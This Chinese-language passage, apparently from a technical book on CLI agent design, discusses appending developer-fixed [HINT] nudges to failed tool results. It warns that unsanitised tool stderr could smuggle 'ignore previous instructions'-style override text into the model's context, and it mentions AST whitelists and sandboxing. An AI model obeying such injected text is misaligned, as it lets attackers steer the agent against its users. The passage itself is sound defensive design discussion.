HINT 提示与模型 policy： [HINT: ...] 追加在 tool message 的 content 字符串末尾，随 role: “tool” 一并进入下一轮 LLM 的上下文。机制上，它属于系统侧的行为引导，在工具已报告失败的前提下，显式建议模型“分析错误并换路”，降低模型重复相同失败调用的概率。这与 OpenAI/Anthropic 的 tool message 规范兼容：规范要求 tool role 消息携带 tool_call_id 与 output 字符串，并未禁止在 output 中嵌入结构化提示；IsError 字段（Anthropic 扩展）帮助 API 侧标记失败态，HINT 则是应用层的额外 nudge。

是否算 prompt injection？ 严格说，HINT 是开发者控制的固定模板，不是用户或工具返回值中的不可信输入，只要 HINT 字符串硬编码在 formatToolResult 中、不拼接用户数据，就不构成传统意义的 prompt injection 攻击面。风险在于：若将工具的原始 stderr 未经 sanitize 直接拼进 HINT，攻击者可能构造恶意输出嵌入“忽略前述指令”类文本；故 HINT 模板应与工具 output 分隔（如用固定后缀），且对 untrusted output 做长度截断。与 Claude Code 的 is_error + 自然语言错误描述相比，显式 HINT 是更低成本的可观测 steering 手段。

工具箱的价值不在于“能调多少 API”，而在于哪些动作被允许、以何种顺序、在何种隔离下发生。并发分拣与兄弟熔断让 IO-bound 的读操作重叠等待时间；AST 白名单与输出截断则为 Bash 划定了应用层边界，但这层边界对本地 CLI Agent 是否足够，取决于部署形态：单机开发可接受，多租户云端则必须叠加 OS 级沙箱。下一章要回答的，是当这些工具把几万行日志丢回上下文时，记忆系统如何承载而不溢出。